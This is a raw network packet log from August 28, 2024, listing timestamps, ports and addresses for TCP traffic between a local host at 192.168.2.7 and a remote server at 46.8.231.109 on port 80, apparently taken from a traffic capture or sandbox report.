Aug 28, 2024 22:55:11.969218969 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969222069 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.969238043 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969247103 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.969249964 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969261885 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.969263077 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969274998 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969284058 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.969312906 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.969325066 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969337940 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969348907 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969360113 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969360113 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.969372034 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969386101 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.969402075 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969410896 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.969413996 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969427109 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969438076 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969439983 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.969451904 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969463110 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969465971 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.969475985 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969486952 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969491959 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.969502926 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.969531059 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.969851971 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969862938 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969871998 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969883919 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969894886 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969897032 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.969907999 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969912052 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.969921112 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969933033 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969938040 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.969944000 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969957113 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969961882 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.969969034 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969979048 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.969985962 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.969990969 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970004082 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970016956 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970021009 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970030069 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970033884 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970043898 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970046997 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970060110 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970060110 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970072985 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970077991 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970087051 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970088959 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970098972 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970110893 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970120907 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970120907 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970133066 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970139027 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970144033 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970163107 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970163107 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970175028 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970187902 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970194101 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970202923 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970206976 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970221043 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970227957 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970233917 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970244884 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970253944 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970257044 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970268965 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970273972 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970282078 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970294952 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970298052 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970313072 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970324993 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970326900 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970334053 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970338106 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970350027 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970364094 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970391989 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970395088 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970402956 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970407963 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970421076 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970432043 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970443964 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970443964 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970463037 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970484018 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970669031 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970680952 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970726013 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970829964 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970841885 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970854044 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970864058 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970865011 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970877886 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970887899 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970890045 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970902920 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970915079 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970917940 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970925093 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970926046 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970938921 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970948935 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970954895 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970972061 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970973969 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970973969 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.970987082 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970999002 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.970999956 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971010923 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971021891 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971024990 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971035957 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971038103 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971048117 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971060038 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971060991 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971071959 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971082926 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971087933 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971095085 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971102953 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971111059 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971123934 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971129894 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971137047 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971153975 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971158028 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971167088 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971172094 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971184015 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971193075 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971195936 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971204996 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971209049 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971220970 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971223116 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971232891 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971239090 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971246004 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971254110 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971257925 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971271038 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971278906 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971282959 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971296072 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971297979 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971308947 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971321106 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971332073 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971332073 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971332073 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971343994 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971369028 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971383095 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971677065 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971690893 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971704006 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971714973 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971726894 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971738100 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971740007 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971752882 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971755028 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971764088 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971780062 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971807003 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971853018 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971869946 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971879959 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971894026 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971904039 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971906900 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971919060 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971919060 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971930981 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971944094 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971944094 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971956968 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971968889 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.971970081 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971983910 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.971988916 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972001076 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972012997 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972014904 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972026110 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972033024 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972038031 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972048998 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972053051 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972062111 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972074032 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972076893 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972084999 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972096920 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972101927 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972109079 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972114086 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972126007 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972136021 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972137928 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972148895 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972158909 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972166061 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972171068 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972182989 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972184896 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972196102 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972208023 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972212076 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972214937 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972225904 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972233057 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972239017 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972251892 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972260952 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972265005 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972276926 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972281933 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972290993 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972300053 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972304106 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972316980 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972317934 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972343922 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972368002 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972675085 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972686052 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972701073 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972712994 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972721100 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972724915 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972743034 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972748995 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972755909 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972764015 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972768068 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972788095 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972805977 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972826004 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972837925 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972846985 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972860098 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972865105 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972871065 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972882986 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972891092 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972894907 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972908020 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972918034 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972919941 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972932100 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972932100 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972944021 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972955942 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972959995 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972968102 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.972985983 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.972985983 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973000050 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973004103 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973011971 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973025084 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973026991 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973037004 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973041058 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973048925 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973059893 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973062038 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973072052 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973083973 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973087072 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973098040 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973098993 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973110914 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973121881 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973129034 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973133087 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973145962 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973154068 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973157883 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973170042 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973171949 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973185062 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973192930 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973196983 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973207951 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973217964 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973220110 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973232031 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973238945 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973244905 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973253012 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973256111 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973268986 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973277092 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973297119 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973318100 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973730087 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973741055 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973752975 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973764896 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973771095 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973776102 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973784924 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973789930 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973802090 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973813057 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973814964 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973825932 CEST	80	49702	46.8.231.109	192.168.2.7
Aug 28, 2024 22:55:11.973834038 CEST	49702	80	192.168.2.7	46.8.231.109
Aug 28, 2024 22:55:11.973838091 CEST	80	49702	46.8.231.109	192.168.2.7
